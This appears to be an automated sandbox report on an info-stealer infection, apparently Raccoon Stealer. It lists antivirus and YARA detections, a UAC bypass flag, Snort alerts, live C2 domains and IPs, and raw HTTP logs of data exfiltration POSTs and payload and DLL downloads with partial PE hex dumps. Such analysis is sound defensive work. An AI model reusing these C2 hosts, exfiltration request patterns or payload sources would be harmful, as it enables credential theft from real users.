Source: 19.0.21.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 19.0.21.exe.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

Yara detected UAC Bypass using CMSTP

Show sources

Source: Yara match	File source: 24.2.B096.exe.653a840.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.653a840.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.5f90000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.5f90000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.520563950.0000000006381000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.519980779.0000000005F90000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: B096.exe PID: 6404, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49826 version: TLS 1.0

Source: Md0q201V1D.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.3:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.3:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.3:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.3:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.3:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.3:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.99.75.82:443 -> 192.168.2.3:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.99.75.82:443 -> 192.168.2.3:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.132:443 -> 192.168.2.3:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.3:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.123.139.190:443 -> 192.168.2.3:50141 version: TLS 1.2

Source:	Binary string: C:\vojos\fuw.pdb source: CBF0.exe, 0000001D.00000002.451970656.0000000000417000.00000002.00020000.sdmp, bhhudtb.10.dr
Source:	Binary string: C:\kelut\takemiv\botuw31-mejosek-li.pdb source: EBBE.exe.10.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: E64F.exe.10.dr
Source:	Binary string: dC:\fudijub.pdb` source: Md0q201V1D.exe
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: E64F.exe.10.dr
Source:	Binary string: C:\lewusukoviv.pdb source: C8FE.exe.10.dr
Source:	Binary string: C:\yut\pabebanejupo12 f.pdb` source: C066.exe.10.dr
Source:	Binary string: C:\fudijub.pdb source: Md0q201V1D.exe
Source:	Binary string: wntdll.pdbUGP source: CBF0.exe, 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, 1105.tmp.29.dr
Source:	Binary string: wntdll.pdb source: CBF0.exe, 1105.tmp.29.dr
Source:	Binary string: WC:\kelut\takemiv\botuw31-mejosek-li.pdb` source: EBBE.exe.10.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: CAC5.exe.10.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: C8FE.exe.10.dr
Source:	Binary string: C:\yut\pabebanejupo12 f.pdb source: C066.exe.10.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb` source: C295.exe.10.dr
Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxzip32\Release\sfxzip.pdb source: F11E.exe.10.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb source: C295.exe.10.dr

Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:50078 -> 194.180.174.181:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:50078 -> 194.180.174.181:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Connects to many ports of the same IP (likely port scanning)

Show sources

Source: global traffic

TCP traffic: 2.56.214.190 ports 2,5,6,8,9,59628

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://xacokuo8.top/
Source: Malware configuration extractor	URLs: http://hajezey1.top/

Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/cb2d375dd6e8a66a5a24666f2ccf0d937c972efe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/44498d94a24300ea08dae81ac5b8f477f8279a65 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: POST /936 HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 65.108.80.190Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8lC1cVContent-Length: 2068Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /706 HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 65.108.80.190Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 5611Host: 65.108.80.190Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 118349Host: 65.108.80.190Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 12:09:41 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 12:09:02 GMTETag: "54a00-5cf7cb1650dd7"Accept-Ranges: bytesContent-Length: 346624Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 16 a1 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 cc 03 00 00 c0 70 02 00 00 00 00 20 cb 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 74 02 00 04 00 00 10 4a 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 cf 03 00 64 00 00 00 00 60 73 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 73 02 90 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 bf 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 cb 03 00 00 10 00 00 00 cc 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 e0 03 00 00 16 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 61 6c 65 00 00 00 e5 02 00 00 00 50 73 02 00 04 00 00 00 e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 60 73 02 00 3c 00 00 00 ea 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 a0 73 02 00 24 01 00 00 26 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 12:10:20 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 12:10:03 GMTETag: "92e00-5cf7cb5008bf2"Accept-Ranges: bytesContent-Length: 601600Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c0 ec 51 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 b0 07 00 00 c0 70 02 00 00 00 00 20 ae 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 7a 4c 09 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 b2 07 00 64 00 00 00 00 40 77 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 98 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 a2 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 ae 07 00 00 10 00 00 00 b0 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 c0 07 00 00 16 00 00 00 b4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 75 78 61 74 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 ca 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 40 77 02 00 3c 00 00 00 ce 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 80 77 02 00 24 01 00 00 0a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:10:52 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 12:10:58 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Last-Modified: Fri, 29 Oct 2021 12:10:02 GMTETag: "d6200-5cf7cb4ef9326"Accept-Ranges: bytesContent-Length: 877056Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed ff a0 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 e4 0b 00 00 c0 70 02 00 00 00 00 20 e3 09 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 7c 02 00 04 00 00 6a 61 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 e7 0b 00 64 00 00 00 00 80 7b 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 7b 02 94 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 d7 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 e3 0b 00 00 10 00 00 00 e4 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 00 0c 00 00 16 00 00 00 e8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 75 63 69 00 00 00 e5 02 00 00 00 70 7b 02 00 04 00 00 00 fe 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 80 7b 02 00 3c 00 00 00 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 c0 7b 02 00 24 01 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 